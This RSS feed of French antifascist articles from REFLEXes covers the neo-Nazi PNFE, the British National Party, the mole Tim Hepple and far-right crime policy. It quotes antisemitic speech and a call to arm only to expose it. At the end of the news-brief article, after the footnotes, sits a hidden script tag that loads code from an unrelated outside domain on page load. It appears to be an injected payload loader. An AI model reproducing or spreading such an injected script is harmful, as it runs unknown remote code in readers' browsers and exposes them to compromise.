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	<title>REFLEXes &#187; British National Party (BNP)</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>PNFE, le retour</title>
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		<pubDate>Sat, 28 Mar 2009 16:11:21 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[British National Party (BNP)]]></category>
		<category><![CDATA[Claude Cornilleau]]></category>
		<category><![CDATA[Eric Sausset]]></category>
		<category><![CDATA[Michel Faci (Michel Leloup)]]></category>
		<category><![CDATA[Parti Nationaliste Français et Européen (PNFE)]]></category>

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		<description><![CDATA[(Article publié en octobre 1993 dans le n° 40 de la revue REFLEXes) Depuis l’attentat du foyer Sonacotra de Cagnes-sur-Mer, dans lequel étaient impliqués certains de ses membres, et les arrestations et la détention de ses principaux dirigeants fin 1989 (voir Réflexes n° 23-24 et n° 25-26), le PNFE n’avait plus beaucoup fait parler de [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><em><strong>(Article publié en octobre 1993 dans le n° 40 de la revue REFLEXes)</strong></em></p>
<p><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour11.jpg"><img class="alignnone wp-image-2304" src="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour11-1024x302.jpg" alt="PNFE-le-retour1" width="600" height="177" /></a></p>
<p><strong>Depuis l’attentat du foyer Sonacotra de Cagnes-sur-Mer, dans lequel étaient impliqués certains de ses membres, et les arrestations et la détention de ses principaux dirigeants fin 1989 (voir Réflexes n° 23-24 et n° 25-26), le PNFE n’avait plus beaucoup fait parler de lui, entamant une traversée du désert ponctuée par les départs de cadres et de militants, par l’interdiction de ses manifestations publiques et de son journal Tribune nationaliste. Il semble aujourd’hui que cette période soit terminée, le parti de Cornilleau ayant été réorganisé au niveau interne et connaissant une nouvelle vague d’adhésions dont notamment celle d’une vieille figure de la scène néo-nazie française, Michel Faci (voir portrait). Un renouveau confirmé par le développement de liens privilégiés avec plusieurs groupes néo-nazis internationaux et la tenue de son 5ème congrès le 3 avril 1993 où a été annoncée la fusion des FNE (Faisceaux nationalistes européens) de Mark Frederiksen avec le parti de Cornilleau. Un congrès significatif à plus d’un titre puisque y a été exposée la future stratégie du PNFE.</strong></p>
<p>Résumé des chapitres précédents : créé en 1987 par Claude Cornilleau (un ex-membre du FN), le PNFE PNF (bis) —ne pas confondre avec PNF (marque déposée antérieurement chez Militant and Co)— se fait très vite remarquer par son discours violemment raciste et antisémite, l’intérêt qu’il porte au mouvement skinhead et le port d’un uniforme (chemise brune de préférence). Très vite, il attire les déçus du FN, les rasés, et les nazis pur sucre. Mais son ascension est brutalement stoppée au milieu de l’année 1989, quand des militants niçois de son organisation, Michel Gouge et Gilbert Hervochon, sont arrêtés à la suite de plusieurs attentats sur la Côte d’Azur, attentats qui feront un mort. À cette occasion, on a découvert que le PNFE avait créé un réseau néo-nazi dans la police par l’intermédiaire de policiers membres de la FPIP, syndicat d’extrême droite.<br />
Du coup, les principaux dirigeants du PNFE, son président Cornilleau, son secrétaire général Allouchery et l’inspecteur Lecanu sont interpellés et incarcérés ainsi que plusieurs militants.<br />
Après 5 mois d’incarcération, c’est d’un PNFE moribond que Cornilleau reprend la direction. Une situation aggravée par la démission fin mai 1989 de Allouchery (sorti de prison avant son chef). Il explique son départ par un changement radical de ses conceptions politiques puisqu’il proclame être devenu, au contact de la prison, «un militant révolutionnaire anti-impérialiste, anti-capitaliste» bien évidemment opposé au néo-nazisme de son ancienne organisation.<br />
En fait, plus prosaïquement, il semble que, profitant de l’incarcération de son chef, il a tout simplement, avec la complicité de sa petite amie Christelle Duguet, la responsable du cercle féminin du PNFE, empoché le fric des cotisations et du soutien financier des militants et sympathisants. Fric dont il se serait servi pour s’acheter une voiture et partir en vacances. Il faut ajouter des soupçons portant sur les relations d’Allouchery avec la police. En clair, il aurait balancé. Depuis, il serait parti outre-mer.<br />
Autre départ forcé, celui de l’inspecteur Lecanu, viré de la police, reconverti depuis dans le gardiennage pour une société privée de sécurité dirigée par d’anciens militants d’extrême droite (on ne se refait pas).<br />
Au niveau des militants, c’est la fuite de ceux qui s’auto-proclamaient les plus durs et les plus purs, à force de croix gammées dans leurs zines, et de la tendance skin «mytho-bière».</p>
<h3>Réorganisation du mouvement</h3>
<p>Dans un premier temps, Cornilleau réorganise la direction en nommant Michelle Dall’ara secrétaire nationale et son mari Alain trésorier (deux transfuges du RPR), et en s’entourant d’une équipe de jeunes comme Olivier Revet, Marc Nicoud de Lyon, Philippe Debonnet de Metz et Erik Sausset de Caen.</p>
<div id="attachment_2305" style="width: 610px" class="wp-caption alignnone"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour2.jpg"><img class="wp-image-2305" src="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour2.jpg" alt="Michel Faci, Claude Cornilleau et Eric Sausset" width="600" height="442" /></a><p class="wp-caption-text">Michel Faci, Claude Cornilleau et Eric Sausset</p></div>
<p>Pour pallier à l’interruption du journal, <em>Ultime Ralliement</em>, la revue du groupe Horst Wessel devient la « lettre de combat » du parti. Au niveau des activités, le PNFE s’investit dans le soutien aux prisonniers nationalistes en réactivant le COBRA (Comité Objectif Boycott de la Répression antinationaliste) créé par Olivier Devalez dans les années 1980 et dont le nouveau responsable est Rolf Guillou, un skin du Havre et ancien responsable du service d’ordre des FNE, et en créant un comité de soutien à Aruni et Lajoye, deux activistes d’extrême droite responsables de plusieurs attentats dans la région de Caen, dont l’assassinat d’un épicier maghrébin. Lajoye, ayant adhéré depuis au PNFE en prison, est devenu le « héros » de toute une partie de l’extrême droite néo-nazie pour ses actions et ses écrits abondamment publiés, notamment dans <em>l’Empire invisible</em>, le bulletin de la branche française du KKK.</p>
<p>Autre activité du PNFE, le soutien au courant révisionniste par l’intermédiaire de l’ANEC (Association normande pour l’Éveil du Citoyen) basée à Caen et dirigée par un élève-ingénieur, Vincent Reynouard, qui se fait très vite remarquer en diffusant des tracts révisionnistes sur le campus de la fac. Dès lors, il grimpe dans la hiérarchie du parti jusqu’à en devenir le secrétaire général à la place de Michelle Dall’ara (qui a quitté le Parti avec son mari, là encore pour «divergences politiques»), lors du 4ème congrès du PNFE en mars 1991. Cette nouvelle année commence par ressembler aux précédentes. Interdit de défilé Jeanne d’Arc en 1990 par le préfet de police, le PNFE a beaucoup de mal à organiser des réunions publiques. La création d’une association des Amis de <em>Tribune Nationaliste</em> vise alors à contourner ces interdictions. La seule réunion qui est organisée le 21 avril dans un restaurant de l’Aisne et qui réunit une cinquantaine de militants, est troublée par la gendarmerie. Les mauvaises nouvelles s’accumulent, c’est l’interdiction de publicité et de vente aux mineurs de <em>TN</em>, puis la suppression de sa commission paritaire, ce qui signifie l’interdiction de fait de la parution du journal ; enfin, en septembre, le procès intenté contre son tout nouveau secrétaire Vincent Reynouard (qui quitte le PNFE mais continue ses activités révisionnistes). Ces nouveaux ennuis entraînent une nouvelle réorganisation du parti. Erik Sausset remplace Reynouard, tandis que Yannick Jordan est nommé responsable pour l’Ile-de-France. Mais une fois de plus, ce sont les médias qui provoquent le retour du PNFE au premier plan, en décembre 1991, grâce à une émission de télé consacrée à l’extrême droite en France, animée par Daniel Bilalian. Plusieurs groupes peuvent s’y exprimer sans retenue et notamment le PNFE, par l’intermédiaire de Cornilleau, Sausset et Jordan. Résultat, les adhésions ne tardent pas à suivre, tandis que le journal du parti reparaît avec le début du récit des « exploits » de Michel Faci en Croatie, déjà auteur dans le n°49 de <em>TN</em> de l’histoire des volontaires français en Irak lors de la guerre du Golfe. Un Faci que l’on retrouvera le 11 janvier 1992, présent aux côtés de Cornilleau lors d’une réunion du PNFE dans la région de Caen : cela augure déjà de son adhésion au parti.</p>
<div id="attachment_2306" style="width: 410px" class="wp-caption alignnone"><a href="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour3.jpg"><img class="wp-image-2306" src="http://reflexes.samizdat.net/wp-content/uploads/2009/03/PNFE-le-retour3.jpg" alt="Après un attentat contre un foyer de la Sonacotra" width="400" height="543" /></a><p class="wp-caption-text">Après un attentat contre un foyer de la Sonacotra</p></div>
<p>Entre temps, fin 1991 naît le parti «frère» de celui de Cornilleau, le PNSE (Parti nationaliste suisse européen), créé à la Chaud-de-fond à l’initiative de Pierre Barbezat, qui en laisse vite la direction à un skin, Cedrik Pythoud. Regonflé par toutes ces arrivées, le PNFE envisage même de présenter des candidats aux cantonales de 1992 : Jacky Charpentier et Claude Cornilleau en Seine-et-Marne et Xavier Bourdin en Seine-Saint-Denis, mais le projet n’aboutit pas. Le parti en profite pour développer ses relations avec d’autres mouvement néo-nazis en Europe ; une politique engagée dès 1987 avec sa participation à l’Euro Ring, une initiative créé à l’initiative du VMO belge qui a cessé toute apparition publique depuis 1989. C’est lors de ces congrès que sont noués des liens avec pour l’Allemagne, le FAP de Michael Kühnen (aujourd’hui décédé). En juin 1989, une délégation du Cercle nationaliste féminin du PNFE est invitée à Hambourg pour rencontrer ses consorts du FAP qui lui rendra la politesse en venant les voir en France. De plus, des liens très étroits sont noués entre la section du PNFE de l’Est de la France (Strasbourg, Metz) et ses voisins allemands. Durant 1992, le PNFE est invité par la Nationaliste List et l’AVÖ à participer au défilé commémoratif de la mort de Rudolf Hess. Une délégation composée d’une vingtaine de militants fait le déplacement.<br />
En Angleterre, c’est avec le BNP (British National Party) que le mouvement de Cornilleau entretient les meilleures relations, comme le prouve la présence du PNFE aux trois derniers congrès du BNP en 1990, 1991 et septembre 1992.<br />
Aux États-Unis, il faut noter des contacts avec l’Église du Créateur, une secte catholique national-socialiste dont le leader le révérend Ben Klaessen a été interviewé dans le n°50 de <em>TN</em> (il s’est suicidé au mois d’août).</p>
<p>Au niveau national, c’est le rapprochement de plus en plus prononcé avec les FNE de Fredericksen, entamé dès 1989 lorsque les FNE mirent la boîte postale de leur journal <em>Notre Europe combattante</em> au service du Comité de soutien du PNFE. Rapprochement confirmé par un meeting en avril dans une brasserie de la Place de la République bien connue des vitriers. Il est vrai que les FNE, descendants directs de la FANE (Faisceaux Actions Nationales Européens) n’ont jamais réussi à redevenir ce qu’ils ont été ; leur activité principale se bornant à la diffusion de leur journal et aux divers dîners-anniversaires en l’honneur d’Adolf Hitler. Le dernier en date, prévu en 1991 dans un restaurant de Bagnolet a été annulé, le nombre de participants se montant à une trentaine.</p>
<p>C’est ce renouveau qu’est venu confirmer le 5ème congrès du PNFE le 3 avril 1993. De nombreuses délégations étrangères étaient présentes. Les Anglais du BNP avec à leur tête leur président John Tyndall, une délégation allemande, l’AVÖ et son leader Ewald Althans, les Suisses du PNSE venus avec Cedryk Pythoud ainsi qu’une importante délégation belge.<br />
Hervé Van Laethem, du groupe belge l’Assaut, et l’Américain Gerhard Lauck du NSDAP-AO n’ayant pu être présents avaient envoyé un message de soutien.<br />
Ce sont environ 200 personnes qui ont tour à tour écouté Erik Sausset, le vice-président du PNFE, Michel Faci, membre du Bureau politique, John Tyndall, le président du BNP, Mark Fredricksen des FNE et enfin Claude Cornilleau qui a fait un récapitulatif de toutes les difficultés auxquelles s’est heurté le parti avant de faire un point sur la situation sociale et les dernières élections.<br />
Le «Flan national», dixit Cornilleau, ne trouve pas même grâce à ses yeux, car il est lui aussi «démocrate» et se compose de juifs (référence au Cercle d’amitié française juive et chrétienne créé par Bernard Anthony). Au niveau stratégique, le PNFE va chercher à « <em>adopter une voie étroite consistant à développer une opposition extra-parlementaire totalement en dehors du système</em> » et se fixe comme but de « <em>le renverser pour instaurer un ordre nouveau sans pour cela s’interdire de descendre dans l’arène électorale</em> ». Bien que, pour Cornilleau, les élections ne changent rien : « <em>Toutes les élections [de mai 1992] sont symbolisées à mes yeux par celles de Sarcelles où un Juif de gauche, Strauss-Kahn, a été battu par un Juif de droite, un certain Lellouche : nous n’avons fait que changer de Juif, un point c’est tout.</em> »<br />
L’action du PNFE se centre donc sur la propagande ; ainsi Cornilleau a-t-il annoncé la reparution de son journal en dépit de l’interdiction qui l’a frappé, mais à partir de l’étranger.<br />
La police n’étant plus capable d’assurer la sécurité des biens et des personnes, le PNFE assurera lui-même sa propre sécurité, et Cornilleau d’ajouter : « <em>Je ne saurais trop vous conseiller de vous procurer toutes les armes que vous pouvez encore acquérir légalement, ne me faites pas dire ce que je n’ai pas dit</em> » (Ah, les dits et les non-dits !) et enfin « <em>Dans le régime actuel, nous sommes tous en état de légitime défense et il n’est pas impossible que l’avenir voit la création de communautés nationalistes dans la France profonde, qui serviraient de base à la reconquête de notre pays envahi et avachi aux mains d’une équipe mafieuse vendue à la juiverie internationale.</em> »<br />
On peut voir dans cette dernière proposition l’influence de groupes américains tels que The Order ou Aryan Nation. Alors, à quand des communautés de skins agricoles ?</p>
<p>Enfin, le PNFE prône le resserrement des liens entre tous les nationalistes européens car « <em>nous tous, nationalistes européens, nationalistes blancs de tous les continents, nous n’avons qu’un seul et même ennemi c’est la juiverie internationale.</em> »<br />
En conclusion, suite à ce congrès, on peut penser que le PNFE est amené à jouer dans les mois qui viennent un rôle important au sein de l’Internationale néo-nazie. Le message envoyé par Gerhard Lauck du NSDAP-AO (qui devait participer à ce congrès) est significatif à cet égard.<br />
Le PNFE va-t-il être amené à jouer le même rôle que l’ANS ou le FAP en Allemagne, celui de la branche politique du NSDAP-AO ? L’arrivée de Faci, très proche de cette organisation, au sein du bureau politique et la fusion avec les FNE prononcée après le congrès sont déjà des éléments de réponse (Fredricksen est devenu vice-président suite à la fusion).<br />
La présence au congrès de Ewald Althans, considéré comme un des successeurs de Michael Kühnen, la participation pour la deuxième année consécutive d’une délégation d’une quarantaine de militants du PNFE et la prise de parole de Cornilleau au cours de la manifestation en sont comme une confirmation.<br />
La suite au prochain numéro…</p>
<p>Publié en novembre 1993</p>
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		<title>Brèves &#8230;</title>
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		<pubDate>Wed, 03 Jan 2007 13:31:00 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[British National Party (BNP)]]></category>
		<category><![CDATA[Grande-Bretagne]]></category>
		<category><![CDATA[Jean-Marie Le Pen]]></category>
		<category><![CDATA[Léon Degrelle]]></category>

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		<description><![CDATA[- Le rassemblement et la marche à la mémoire de Rudolf Hess au mois d&#8217;août ont vu une fois de plus la présence de John «Veux-tu acheter un luger ?» Peacock, l&#8217;organisateur du BNP dans les Midlands, dont la télévision britannique découvrit qu&#8217;il était un trafiquant d&#8217;armes. - Peacock1 dirige la section britannique du Odal [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>- Le rassemblement et la marche à la mémoire de Rudolf Hess au mois d&rsquo;août ont vu une fois de plus la présence de John «Veux-tu acheter un luger ?» Peacock, l&rsquo;organisateur du BNP dans les Midlands, dont la télévision britannique découvrit qu&rsquo;il était un trafiquant d&rsquo;armes.</p>
<p>- Peacock<sup><a href="https://reflexes.samizdat.net/breves/#footnote_0_301" id="identifier_0_301" class="footnote-link footnote-identifier-link" title="Dirigeant du BNP.">1</a></sup> dirige la section britannique du Odal ring ou Ring UK comme on l&rsquo;appelle aussi parfois. Le fait que Richard Edmonds<sup><a href="https://reflexes.samizdat.net/breves/#footnote_1_301" id="identifier_1_301" class="footnote-link footnote-identifier-link" title="Vice-pr&eacute;sident du BNP.">2</a></sup> soit le représentant patenté du réseau international le plus vieux, le plus financé et le mieux organisé, le Nouvel ordre européen, le place en meilleure position que Peacock, qui s&rsquo;était donné beaucoup de peine pour faire du réseau Odal ring un succès. Si John Tyndall<sup><a href="https://reflexes.samizdat.net/breves/#footnote_2_301" id="identifier_2_301" class="footnote-link footnote-identifier-link" title="Leader du BNP.">3</a></sup> peut remercier Peacock pour avoir été invité en France par des néo-nazis<sup><a href="https://reflexes.samizdat.net/breves/#footnote_3_301" id="identifier_3_301" class="footnote-link footnote-identifier-link" title="Voir article sur le PNFE.">4</a></sup>, Edmonds a cependant courtisé des personnalités nazies comme Manfred Roeder ou Florie Rost van Tonningen afin d&rsquo;assurer sa nouvelle position dans le réseau international nazi.</p>
<p>- <em>Searchlight</em> se demande si le trésor de guerre du général SS Léon Degrelle aurait été utilisé pour financer les tentatives d&rsquo;exportation du Nouvel ordre européen au crépuscule de sa vie (Degrelle a aujourd&rsquo;hui plus de 80 ans). Peut être le BNP a-t-il trouvé cet argent, qui gonflerait ses propres coffres. Depuis que le BNP a rencontré le Nouvel ordre européen ces dernières années, certains membres du BNP, comme certains membres d&rsquo;International third position ont apparemment reçu de l&rsquo;aide pour mettre en place des entreprises de sécurité à Londres, et à Dundee en Écosse. Dans le cas de l&rsquo;entreprise écossaise, on trouve l&rsquo;appui financier d&rsquo;un mystérieux Belge.</p>
<p>- Si les informations qui circulent dans les médias sont vraies, alors Aloïs Brunner, alias George Fischer, l&rsquo;adjoint de Adolf Eichmann est mort, ce qui fait de Degrelle le criminel de guerre vivant le plus recherché. Paradoxalement, Degrelle apprécie beaucoup plus la vie politique actuelle en Espagne aujourd&rsquo;hui qu&rsquo;à la période franquiste, où sa présence donnait une mauvaise image du pays : Franco s&rsquo;inquiétait visiblement des possibles tentatives des groupes nazis internationaux pour prendre le pouvoir à sa mort. Maintenant, même s&rsquo;il y a un gouvernement socialiste à Madrid, les nazis peuvent agir ouvertement et sont en position d&rsquo;aider leurs alliés à l&rsquo;étranger.</p>
<p>- La découverte tardive par la presse britannique de l&rsquo;appartenance au parti conservateur du fasciste Mark Cotterill a causé une tempête. Des journaux comme <em>The Guardian</em> ont donné du crédit aux informations que <em>Searchlight</em> avait livrées l&rsquo;année dernière avec l&rsquo;aide d&rsquo;antifascistes du sud-ouest de l&rsquo;Angleterre. Mieux vaut tard que jamais ! Le député conservateur Rupert Allason, qui écrit des livres sur les services secrets sous le nom de Nigel West, avait déjà causé des problèmes dans le parti à cause de son refus de soutenir le gouvernement dans le vote crucial de la ratification du traité de Maastricht. Maintenant, il doit faire face à un fasciste dans la branche locale de son parti. Indiquant que Cotterill n&rsquo;a rejoint le parti que cette année ou très tard l&rsquo;année dernière, nous avons compris qu&rsquo;il fut autorisé à joindre une section du parti dans une autre région, quelques semaines après avoir quitté son poste d&rsquo;organisateur de l&rsquo;ouest de l&rsquo;Angleterre pour le National front. Cotterill est en partie responsable de la mise en place du Revolutionary conservative caucus, qui compte dans ses membres d&rsquo;anciennes personnalités fascistes : Steve Brady et Tom Acton qui tentèrent de rencontrer Le Pen après le dîner infâmant de Le Pen avec Western goals il y a deux ans. Cotterill dirige un journal <em>British Patriot</em> dont le nom fut déjà utilisé par le British movement pour une de ses haineuses publications. Le numéro de juillet comporte un article sur la purification ethnique en Ulster.</p>
<p><em>Mis en ligne le 3 janvier 2007</em></p>
<ol class="footnotes"><li id="footnote_0_301" class="footnote">Dirigeant du BNP.</li><li id="footnote_1_301" class="footnote">Vice-président du BNP.</li><li id="footnote_2_301" class="footnote">Leader du BNP.</li><li id="footnote_3_301" class="footnote">Voir article sur le PNFE.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>La taupe qui venait du Nord</title>
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		<pubDate>Wed, 03 Jan 2007 13:28:56 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[British National Party (BNP)]]></category>
		<category><![CDATA[Combat 18 (C18)]]></category>
		<category><![CDATA[Grande-Bretagne]]></category>

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		<description><![CDATA[L&#8217;histoire de Tim Hepple est une histoire banale. Un jeune homme bien éduqué, mais en décalage avec son propre style de vie et la société, recherchant quelque chose où il pourrait s&#8217;engager et qui trouve sa voie dans le camp nazi. Un jeune homme avec des vues élitistes sur le monde et qui croit que, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>L&rsquo;histoire de Tim Hepple est une histoire banale. Un jeune homme bien éduqué, mais en décalage avec son propre style de vie et la société, recherchant quelque chose où il pourrait s&rsquo;engager et qui trouve sa voie dans le camp nazi. Un jeune homme avec des vues élitistes sur le monde et qui croit que, d&rsquo;une manière ou d&rsquo;une autre, la violence a des effets curatifs sur les gens et sur les maladies de la société.<br />
Au bout de cinq ans, Hepple, qui était devenu de plus en plus actif dans des organisations néo-nazies, commence à être désillusionné. Il y a à peu près trois ans, il approche <em>Searchlight</em> et offre de travailler comme taupe à l&rsquo;intérieur de l&rsquo;extrême droite britannique. Son offre est acceptée et jusqu&rsquo;au printemps, il fournit à <em>Searchlight</em> une grande quantité d&rsquo;informations importantes de l&rsquo;intérieur du British national party et d&rsquo;autres groupements néo-nazis.<br />
En avril, il apparaît publiquement dans un programme national sur le groupe nazi ultra-violent Combat 18. Devant des millions de téléspectateurs, il révèle comment Combat 18 cible les antifascistes, les personnalités juives et n&rsquo;importe quelle personne détestée par les nazis en utilisant la violence, l&rsquo;incendie ou les menaces de mort. De son expérience, il a tiré un livre commenté par Gerry Gable et publié par <em>Searchlight</em>, où il raconte comment il s&rsquo;est retrouvé chez les nazis, son activité, donnant par là même une vision remarquable de ce qui se passe dans la tête d&rsquo;un jeune nazi. C&rsquo;est la première fois qu&rsquo;on publiait un compte-rendu de la vie à l&rsquo;intérieur du British national party depuis <em>The Other Face of Terror</em>, par Ray Hill et Andrew Bell, qui (il y a cinq ans) avait décrit les premières années du BNP, de 1980 à 1983.<br />
Ray Hill était un homme mature qui avait passé la moitié de sa vie chez les nazis, et qui avait pris le temps de réfléchir à ses erreurs politiques avant de décider de travailler contre les nazis, ce qu&rsquo;il a fait avec succès pendant des années. Hepple est un homme beaucoup plus jeune, qui est encore par de nombreux côtés assez immature, et les raisons de sa défection ne sont pas aussi tranchées que celles de Hill. La brochure est le récit de Hepple mais elle donne aussi un éclairage sur les problèmes que peut entraîner le travail de quelqu&rsquo;un comme Hepple pour <em>Searchlight</em>. En dépit des réserves de <em>Searchlight</em> par rapport à son comportement politique ou dans la vie, nous ne pouvons nier qu&rsquo;il ait fait preuve d&rsquo;un grand courage sans jamais demander de compensation financière.</p>
<p>Hepple est né en 1967 et a été élevé par un couple de maîtres d&rsquo;école. Il est sur le point de retourner à l&rsquo;Université pour finir ses études en musique classique. C&rsquo;est un musicien doté d&rsquo;un talent considérable, qui a gagné de nombreuses récompenses et concours tout au long de son éducation. Il n&rsquo;est pas le type de jeune que l&rsquo;on s&rsquo;attend à trouver parmi les plus violents des hooligans dans les matchs de football du sud de Londres, et c&rsquo;est pourtant parmi eux que Hepple eut sa première expérience politique.<br />
À l&rsquo;école, il passa du sentiment général que la gauche est inutile, que les conservateurs sont faibles, à la recherche d&rsquo;une organisation élitiste. D&rsquo;abord, il s&rsquo;engagea dans les rangs du National front mais rapidement, alors qu&rsquo;il étudiait en Écosse, il préféra le British national party.<br />
En Écosse, racisme, sectarisme protestant (soutien à l&rsquo;Ulster) et hooliganisme vont ensemble. Des loyalistes et des membres du BNP, y compris des gens qui combattent aujourd&rsquo;hui comme mercenaires en Yougoslavie, et des activistes de droite extrême venant de la branche jeune du Parti conservateur sont à des centaines de milles de la violence pendant les matchs de football entre clubs catholiques et protestants écossais. Mais c&rsquo;est sur ce dernier terrain que Hepple se retrouva engagé dans les activités du BNP. Il quitta l&rsquo;Écosse pour commencer des études à l&rsquo;université de Sheffield et fut le fer de lance du travail nazi contre la gauche sur le campus aussi bien qu&rsquo;en ville, militant avec des fascistes et néo-nazis locaux qui avaient une longue liste d&rsquo;affaires criminelles liées à leurs activités politiques.<br />
Hepple nous raconta l&rsquo;épisode du rassemblement du BNP dans l&rsquo;ancienne cité de York, dans le nord de l&rsquo;Angleterre. C&rsquo;est à York qu&rsquo;eut lieu un des pires pogroms contre les Juifs en Angleterre, au XIIème siècle. Le BNP a choisi exprès cet endroit pour organiser son rassemblement. À un moment, le drapeau du BNP fut hissé et les autres drapeaux locaux furent agités. C&rsquo;est exactement ce qu&rsquo;Hitler et Himmler avaient fait à leur rassemblement de Nuremberg dans l&rsquo;Allemagne d&rsquo;avant-guerre, utilisant le drapeau du parti, le Blut Fahne, teint avec le sang des martyres nazis du putsch avorté de 1923. Ceci montre clairement comment on peut rattacher le BNP à l&rsquo;histoire sanglante du nazisme.</p>
<p>Le récit de Hepple révèle aussi que les différents niveaux d&rsquo;engagement dans le parti nazi entraînaient de nombreuses pressions, des conflits politiques parfois violents. Il montra aussi la couardise des nombreuses grandes gueules de certains partis quand ils sont en face de leurs chefs comme par exemple le leader du BNP, John Tyndall : de nombreux coups de poignards dans le dos quand le chef n&rsquo;est pas là, mais en face de lui, bien peu ont le courage de défendre leur point de vue.<br />
C&rsquo;est lorsque Hepple travailla au siège du BNP à Welling dans le sud-est de Londres qu&rsquo;il donna certains de ses meilleurs éclairages sur les activités criminelles des nazis. À ce moment là, il a été capable de surveiller le courrier et les coups de téléphone, de noter les noms des personnes qui donnaient les plus larges contributions financières au BNP pour la campagne des élections législatives de 1992 ; il suivit les activités en Angleterre du nazi américain Harold Covington, et il donna les premiers avertissement sur la mise en place de Combat 18. Il a aussi raconté comment des gangs de nazis, de jeunes et plus âgés de l&rsquo;est et du sud-est de Londres allaient à la «chasse», et comment les cadres du parti méprisaient la main d&rsquo;oeuvre skinhead mais la préparaient à être les gardes du corps des officiels du parti ou des candidats. Hepple compléta la connaissance qu&rsquo;avait <em>Searchlight</em> du Ku Klux Klan en Grande-Bretagne et du groupuscule extrémiste British movement.</p>
<p>Ce qui a fait le plus de dégâts dans le parti, ce sont les phrases enregistrées par Hepple des cadres du BNP exprimant comment ils voient le monde et les gens. Richard Edmonds, qui dirige le siège du BNP, vient récemment d&rsquo;être engagé pour être le représentant du Nouvel ordre européen, un groupe international de nazis dirigé par l&rsquo;ancien général SS Léon Degrelle, par ailleurs recherché pour crimes de guerre. Edmonds est obsédé par sa haine des Juifs. Sa propre femme décrit les activistes comme des losers antisémites forcenés. Ces mots que Hepple cita n&rsquo;ont pas eu bonne presse à l&rsquo;intérieur du parti.<br />
Cette brochure montre les problèmes quotidiens qu&rsquo;entraîne une opération comme celle-ci, et dans le cas d&rsquo;Hepple, son association avec des éléments du mouvement «anarcho-écologiste» entraîna sa découverte. L&rsquo;apparition publique d&rsquo;Hepple dans l&rsquo;émission documentaire World in Action le 19 avril confirma ce que le BNP savait, car des cadres de Combat 18 avaient eu un tuyau provenant du milieu anarchiste indiquant que Hepple avait, au moins une fois, travaillé pour <em>Searchlight</em>.<br />
Les activités de rue d&rsquo;Hepple dans les premiers jours de Combat 18 et sa volonté d&rsquo;apparaître à l&rsquo;écran pour parler de son expérience ont causé d&rsquo;importants torts au groupe, non seulement aux yeux du public mais aussi aux yeux de leurs militants qui ont eu le sentiment, malgré leurs déclarations à propos de nouvelles mesures de sécurité, que <em>Searchlight</em> s&rsquo;était montré plus malin qu&rsquo;eux. Une des conséquences de l&rsquo;apparition publique de Hepple les plus désastreuses pour le BNP fut la suivante : la crédibilité de John Tyndall fut ruinée. Depuis des mois, il racontait aux membres du parti que Hepple n&rsquo;avait accès ni au siège du BNP, ni aux listes des adhérents et des souscripteurs, ni à aucun autre papier important. Il avait même publié des communiqués sur ce sujet dans les publications du BNP. Avec la publication de <em>At War With Society</em>, les protestations de Tyndall ont montré ce qu&rsquo;elles étaient : des mensonges.<br />
Les répercussions de la brochure d&rsquo;Hepple ne sont pas finies. Une massive chasse aux sorcières a commencé dans l&rsquo;extrême droite pour trouver les autres taupes, mais en vain ; cela n&rsquo;a pas empêché les fuites d&rsquo;être toujours plus nombreuses. Les nazis sont affolés, comme des rats hystériques coincés dans une pièce. Ce que <em>Searchlight </em>aimerait, c&rsquo;est que le mouvement antifasciste en profite pour purger de ses rangs les infiltrés et autres fantaisistes.</p>
<p><em>Mis en ligne le 3 janvier 2007</em></p>
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		<title>Crimes &amp; lave plus blanc</title>
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		<pubDate>Thu, 29 Sep 2005 11:10:24 +0000</pubDate>
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		<description><![CDATA[C&#8217;est dans l&#8217;air du temps, d&#8217;un bout à l&#8217;autre de l&#8217;échiquier, les politiciens rabâchent leur discours sur l&#8217;insécurité, renchérissant toujours les uns sur les autres. L&#8217;extrême droite, précurseur en la matière, n&#8217;échappe pas à la règle. Comme leurs homologues européens, les fachos anglais sont particulièrement friands des politiques autoritaires et de la relation insécurité-immigration. Le [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><strong>C&rsquo;est dans l&rsquo;air du temps, d&rsquo;un bout à l&rsquo;autre de l&rsquo;échiquier, les politiciens rabâchent leur discours sur l&rsquo;insécurité, renchérissant toujours les uns sur les autres. L&rsquo;extrême droite, précurseur en la matière, n&rsquo;échappe pas à la règle. Comme leurs homologues européens, les fachos anglais sont particulièrement friands des politiques autoritaires et de la relation insécurité-immigration.</strong></p>
<p>Le British National Party et le National Front ont un programme assez similaire en matière de lutte contre le crime et la délinquance. On y retrouve la rhétorique de la tolérance zéro, avec quelques mesures phares :<br />
-les deux partis sont bien sûr favorables au rétablissement de la peine de mort, insistant surtout sur les cas de pédophilie, de terrorisme et les meurtres avec préméditation.<br />
-au programme des réjouissances, cette fois pour les petits délinquants et les vandales, ils inscrivent le retour aux châtiments corporels<sup><a href="https://reflexes.samizdat.net/crimes-lave-plus-blanc/#footnote_0_241" id="identifier_0_241" class="footnote-link footnote-identifier-link" title="Le ch&acirc;timent corporel &agrave; l&rsquo;&eacute;cole n&rsquo;a &eacute;t&eacute; aboli qu&rsquo;en 1986 en Grande-Bretagne. Cela n&rsquo;a &eacute;t&eacute; &eacute;tendu aux &eacute;tablissements priv&eacute;s qu&rsquo;en 1998 sur d&eacute;cision de la Haute Cour de Justice.">1</a></sup>.<br />
